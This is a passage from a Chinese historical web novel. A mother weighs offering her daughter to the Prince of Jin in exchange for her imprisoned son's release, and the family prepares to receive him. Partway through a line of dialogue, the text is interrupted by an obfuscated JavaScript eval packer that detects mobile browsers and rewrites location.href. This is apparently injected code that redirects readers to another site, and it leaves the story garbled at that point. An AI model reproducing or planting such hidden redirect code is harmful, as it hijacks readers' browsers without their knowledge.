晋王飞快扫柳乐一眼，眉峰紧蹙。“这样的朋友——显然是算计你们，日后还该小心防着些。”沉吟片刻，又说，“你兄长之事我亦有耳闻，虽不清楚内情，不过我看计员外郎便是犯千般过错，也不会做出那种事。他年轻有为，难免遭人妒恨，不过也有很多人关心他；况且衙门断案自有章程，不至于无中生有，我相信总会给他个公道。姑娘切莫着急，见不了面只是暂时的。” 计晴再度哽咽，泫然望着晋王：“多谢殿下。” 柳乐又想起了谢音徵的话，若要求他，这时候就该趁机提了。可她张开嘴又闭上：随时会有人来，不是开口的好时机。最终她还是没说话，只是不自觉带上了祈求的神情。但是晋王没有再朝她看，劝慰了计晴几句后，他说：“快中午了，家人看你出来这么久，肯定要着急，快回去吧。我送你们一程？”他微微侧身，似乎是做了个恭请的手势。 柳乐顺着他的手看向唯一的一辆马车，险些叫出声：如何送？他总不至于忘了，车里还装着一具死尸呢。 急忙说：“不敢劳烦殿下。今日出来没叫人知道，若被家人看见问起，恐怕难以解释。走到前边就好雇车了，离家里并不远，我们走几步也无妨。” 晋王拱拱手：“既如此，恕小王失礼，先行一步。” 二人立在路边。柳乐余光中瞧见那晋王撩起衣袍，若无其事地登车走了。 . 从樱桃巷回来，计晴受到惊吓，谎称伤了风，躺在床上不敢出门。柳乐得空就悄悄去安慰她，将晋王杀人之事仍瞒过不提。计晴煎熬了一两日，见无人过来寻事，外头街谈巷议亦不闻樱桃巷的风声，始知晋王爷果然把事情料理得干净利落，心里着实对他感激不尽。 柳乐也料赵德等人不敢来报复，死了一个，对他们的惩罚和震慑是足够了。可是血淋淋的人命案子不好掩盖，谁知这一事也悄无声息，她方渐渐放下；又另有忧虑爬上心头，一日深似一日，一时深似一时：那伙人虽是恶霸纨绔，却不是愚人，平时最会看势头儿、见风使舵、枝党钩连，像赵德、常琨等还是身上有职的，最懂里头的干系，这回却毫无顾虑、明目张胆地欺负上来，分明不当回事，可见都认为计晨获罪已是板上钉钉。 心上有这重重压，柳乐实在寝食难安，就连想起晋王，她的感激也远远不及计晴那样纯粹。不过千思万想后，她决定去一趟晋王府。 这日早晨，柳乐在屋内换衣裳时，听见前头似乎有客登门，她也不去管——估摸又是哪个来问案子的亲友或骗子。她准备往王府去了，拜帖已经写好，藏在袖中，她又捏了一捏，心里还是在忐忑：既有那日，我去致谢，能算做个登门的由头吧？不知王府是什么样子，车能靠近大门么，车夫怕是不敢，还是远远停开，自己走去，能由正门进么？王府门上大概更了不得，就是做官的未必给他进去通报呢，何况我？若说王爷不在，是不是真不在…… 巧莺在旁问：“姑娘咱们要上哪儿，穿得这样整齐。” “别多话，路上我再告诉你。”刚说完，董素娥使人来叫她。 柳乐只好先来见董素娥。一进堂屋，高娴、计晴都在那儿坐着。等柳乐坐下，董素娥方开口：“刚才晋王府上的人送来一张拜帖，说王爷明日会来。” “他肯帮咱们？”柳乐脱口叫道。心想谢音徵最终还是设法给晋王去了信，随即又想起别人对此俱不知情，后悔自己话插得太突兀，好在人人都诧异，没人留心她。 “王爷来做什么？来这儿？是好事还是——”高娴小心地问。 “你们父亲说来人很客气，专程提出明日王爷要见我，还赐了礼。”董素娥说着，从身后抱出长长一只包锦匣子，打开来，里面装着杏黄葱绿海棠丁香四匹宫缎，又有四罐贡茶。 就皇家赏赐臣民来说，这 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柳乐便说：“前几日我和晴妹妹出去时碰到了几个……捣子，他们言语不大规矩，正好王爷路过看见，撵走了他们。我们谢了王爷，王爷说不必声张出去，我们也怕母亲忧心，所以回来便没提。再之前，那一回我们去谭家拜寿时，也遇见过王爷。” “噢，是在谭家见过你们，所以认得？”董素娥问。 柳乐点点头。 “怎么那时候回来也不吱声？”董素娥责备道，又扭头对计晴说，“看来王爷是为了你来的，别怕羞——如今你哥哥不在，老爷又生病，只能靠咱们了。本来你也大了，该为你……都怨娘，最近家里事多，没顾上。行了，那些事不是你的错，如今不作兴姑娘躲在家里不见人，见就见了，都是寻常。” 她思忖一阵，开口道：“若晨儿的案子能翻，以咱们家的家世，做个侧妃总还使得吧？”依次看向高娴和柳乐，两人都没吭声。董素娥又说：“不过王爷娶妻娶妾，总是差媒人来，哪有他亲自登门的道理。莫不是他只肯给个侍妾，或者，他根本不想将人安置在王府？” 若晋王爷有意相帮，直接与计衔山商议就可以，为何要见董素娥，又送来这样的礼物？柳乐也有些拿不准他的意图了。她猛回想起在樱桃巷遇见时，他口里说过是在看宅子。现在她隐约明白了樱桃巷是个何样地方，在那儿看宅子，还能做什么用？——他的帮助是有条件的，是要人家清清白白的姑娘！ 董素娥又疑惑地看一眼计晴：“王爷是个什么想法，可有对你讲过？” “没，没有。”计晴拼命摇头，“就那两回，我再没有私下见过他，没有讲过……” “好了，”董素娥拍拍她的肩膀，“没讲过也没关系。他既来咱们家，肯定是有话说，即便说得不那样好听，咱们也别急着计较——王爷有难处，上头还有太后，有皇上，不能直来直去地办，但将来办法多得是。先把你哥哥的官司了了是正经，等你哥哥复职，咱们可不是个清白人家？你不是个官家大小姐？那时候王爷再去对皇上说，哪有不答应的？委屈是委屈你，就只是这一时，你看……” “娘，我懂，你别说了。”计晴颊上红晕未褪，眼眶又红了，泪水成串地往下掉，一时答应不出，捂着脸跑出屋去。 23. 商议与登门 柳乐早就在心里摇头。先前，她模糊听见董素娥看好谭家一位公子做女婿，不过不知是计晴不愿还是怎的，并未明着提出来。后来生出这场变故，计晴的亲事自然更得放缓再议，不过她还没满十九岁，将来总可以消消停停挑选一位如意郎君。无论如何，岂能拿她当物件交易，拿她去贿赂晋王？ 等计晴走远，柳乐直言不讳道：“不行，不能为了救哥哥，却将妹妹搭进去。大哥和晨大哥知道，也断不会答应。何况这还是往好了想，能不能救出人都不一定。我也见过这位王爷——虽说那回是给我们解了围，他不过顺便的事儿——我看他不像是个仁人君子。他连给个正经名分的诚意都没有，又怎会帮我们？咱们势单力薄，不是正好任他揉圆捏扁？上次我听见别人议论，说先前他身边好像有位平民女子，如今似乎下落不明，——足见此人不可靠。若他骗了晴妹妹，再将她弃之不顾，岂不是毁了晴妹妹一辈子？” 董素娥顿足哀号：“现在这个样子，晴儿就是嫁，能嫁个什么好人家？她的一辈子已经毁了。你当我愿意拿晴儿换晨儿？手心手背都是肉，我做娘的不疼他们，还有谁会疼？都撒手不管，光凭我一个老太婆，钱也使了，人也求了，除了着急忙活地抱佛脚，还能再想出什么别的法儿？晴儿跟了王爷，就是再不济，这辈子吃穿不用愁。晨儿关在监里，是死是活都没个准信儿，想见一面比登天还难，万一在里头出点事情，那时候什么也晚了，我和晴儿靠谁去？左也靠不得，右也靠不得，少不得医好眼前疮，剜却心头肉！” 柳乐见婆母稀里糊涂，且还大有埋怨自己之意，本欲再辩几句，转念又想现下不是自家人吵架的时候，越吵越乱，便压下气，闭口不作声了。她心里还在琢磨，晋王果真是要趁机霸占计晴？虽见过几面，可是对他那个人，她一点儿都看不明白，总觉得他身上有种说不出的古怪。不过万一他真是受谢音徵所托，没有其它存心，岂不是错怪好人？反正他要来是挡不住了，刚好也免了自己上王府，等他来过再说罢。 高娴也劝道：“柳妹妹也是为晴儿着想。而且，虽说跟王爷，比起寻常做小不同，可若是太不像样，父亲面上恐不好看。” “性命重要还是脸面重要？你们父亲就是把脸面看得太重，早舍下脸去求人，早没这些事了。”董素娥又哭起来。 高娴忙说：“不过我看，王爷未必不肯给名分。说不定他就是打算先办妥二弟的事，再差人说媒。这次只是来打声招呼，好让咱们不要太着急。” “对，对，恐怕是这个意思，我是糊涂了，怎么没想到。”董素娥连声赞同。可她擦干泪后，眼神又黯淡下来，发愁地看着四周，“这儿太破旧寒酸，王爷来了坐哪儿呢？站、坐都没个地方。我说得去哪里借几样家具来摆着，赶不赶得及？” 柳乐忍不住说：“打扫打扫就行了，咱们茅屋草舍，也是干干净净的，不怕脏了谁的脚。” 董素娥又悲泣道：“他什么时候来，用不用饭？总还要招待茶水，这可怎么办，一上来就要开罪人——计家也是世代诗书，连只像样的茶杯都寻不出？王爷不晓得，还以为咱们故意怠慢他。如今再出不得差错，罢，罢，把我的头面取出来卖了，好歹买几只杯子。” 计家当然不至于寻不出茶杯，缘故是搬家之日到底太过仓促，多少细软都顾不上收拾，谁还记得茶具，故只带了平日里用的一套，——也不知该怪丫环没捆扎好，还是怪小厮毛手毛脚，就这一套搬动中偏生又摔烂了。 想起这些鸡零狗碎的狼狈事，勾出新愁旧恨，董素娥悲从中来，哭喊着唤人：“去看看我那匣子里还有什么，索性都拿出来卖掉，成不成就指着这一回了。” 柳乐只好拦住说：“咱们家现今这个状况，王爷又不是不清楚，没必要打肿脸装胖子。我那只巩县窑杯子，虽不是值钱东西，总算是件古物，外面不容易见到，充得过去。我好好擦洗一下，对付着使吧。” 高娴也在旁劝说，董素娥听了方不言语，慢慢地止了哭，算是默认了。 话一出口，柳乐便心中暗悔：杯子是她父亲家中传下来的，一次母亲说干收着也无趣，因恰有五只，便取出分给全家人用。五只陶杯造型古朴，分别是黑、青、黄、绿、蓝五色，她选了只蓝的，爱它釉色艳而端凝，又喜它不轻不重，趁手易握，日常喝茶喝水，用了好多年。她从不和人共用杯盏，只是那一回，禹冲又要出门，临行前道别，在她屋子坐了一会儿。她说：“我去给你泡些茶。”禹冲拦住，“我马上就要走了，你别动。”她也不想走开，就拿她的半杯茶给禹冲喝了。 如今杯子拿去给王爷用过，她不能再留着。柳乐心头作疼。 这时听婆母嫂子又商量待客的果品，她负气说：“用不着白白忙活，他们出门，大概本来也不会随便吃外头的东西；茶叶现成的——他不是送了些吗？我这儿还有些零碎银子，等会儿我和大嫂出去买几样点心果子，摆着好看。他不肯吃咱们自己吃，筠儿、筱儿吃。” 大家都无甚话说，高娴又问：“父亲是什么意思？若王爷明日果真提起和晴妹妹的事，万一父亲不肯，谈僵了——” 董素娥想了想，道：“你们父亲那儿，先不要多说。我告诉他，王爷既提出要见我，可能是有些话对我说方便些，让他不要掺和，到时候避开。等我问明白王爷，再作计较。王爷来了，让陈嬷嬷带筠儿、筱儿出去玩，让巧莺在外头上茶，你们两个坐在里屋，留神听着些。我怕跟前一慌忙，听岔了意思。” 柳乐也正有此意，董素娥却看她说：“你们只听着就是，不管是说好话歹话，都等着下来咱们再慢慢商量，可别当场叫唤起来，把事情弄坏了。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15092374|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓得，王爷没走之前不能出声。”柳乐答应了。 董素娥又说：“让晴儿也来听听，愿不愿在她，省得来日又是我落一场埋怨。” 当下计议已定，各人自去忙活不提。 次日上午，董素娥拿出几个钱，叫人带两个孙女出门玩耍，并对计衔山说：“王爷这时来，能为何事，一定还是为晨儿。只不知他是打算如何。有些话老爷不好一下子应承，倒不如我先探探口，等回来再和老爷讨主意。我一个妇道人家，又没多大见识，破着老脸求他一求能怎的？说得不好，他也不能见怪。他来这儿，必然不备轿马，算不得正式拜访，再说我们想管待也没的管待，含糊些算了。你一向身上不大好，干脆推病，见个礼就罢了。” 计衔山如今下得了床，只是经过这番，精神大不如前，已显出老态来。听董素娥如此说，他半日提不出异议，只缓缓点一点头。于是，一家人胡乱吃了几口饭，专一等候晋王。 正午后又过了半个多时辰，管家媳妇慌忙跑进屋，压着嗓子说：“来了，来了，王爷现和老爷在厅里见面，只带着一个跟从。” 董素娥赶紧把媳妇女儿向里屋推，“快进去坐好，千万莫出声响。”她急忙整整衣裙，走了出去。 三人挨着在床沿坐下，个个屏息凝神。隔一道竹帘，外面的动静听得清清楚楚。一阵脚步响起，是管家带王爷过来了，董素娥迎上前，将他让进屋子。 晋王道：“请老太太转上，受小侄一拜。” “岂敢，岂敢，蒙王爷不弃下顾，老身惶恐。” “是小侄久疏问候了。” “快请坐。” 外面谦让再三方才坐下，只听董素娥说：“王爷休嫌轻慢，家中遇事，临时在此落脚，只好请王爷将就用些粗茶。不，不，瞧我一张嘴就胡说，这茶是极好的茶叶，只是我家里寻不出好水，拿井水煮的，真是糟蹋了天物了。” “茶叶算不上好，不过这只杯子倒不俗，我瞧像是唐朝的东西。” “王爷慧眼。”董素娥笑道，“不当在王爷面前自夸，不过我们计家说起来也算是旧家。家下有几件世传不值钱的旧物，王爷见笑了。” “这不是十三圆圆的芙蓉酥？他们家的杏仁酥最好吃，只是恐怕不容易买到。” “家里媳妇备的，小人儿家，能见过什么，哪懂得东西好坏，王爷多担待。” 柳乐在屋内听见，险些哼出声。十三圆圆是家糕点铺子，制作的各种点心都好吃，杏仁酥又是其中最受欢迎的一样，每端出来，一盘子一霎便被抢光了。昨日她没买，一则根本买不到，二则便是有，杏仁酥价钱那么高，她可不愿为这个太花费，——连芙蓉酥她尚且嫌贵，只是为它样子好看，这才咬牙把身上不多的银子又破去些，本以为足可以充得过，没想到晋王爷这等眼尖口刁。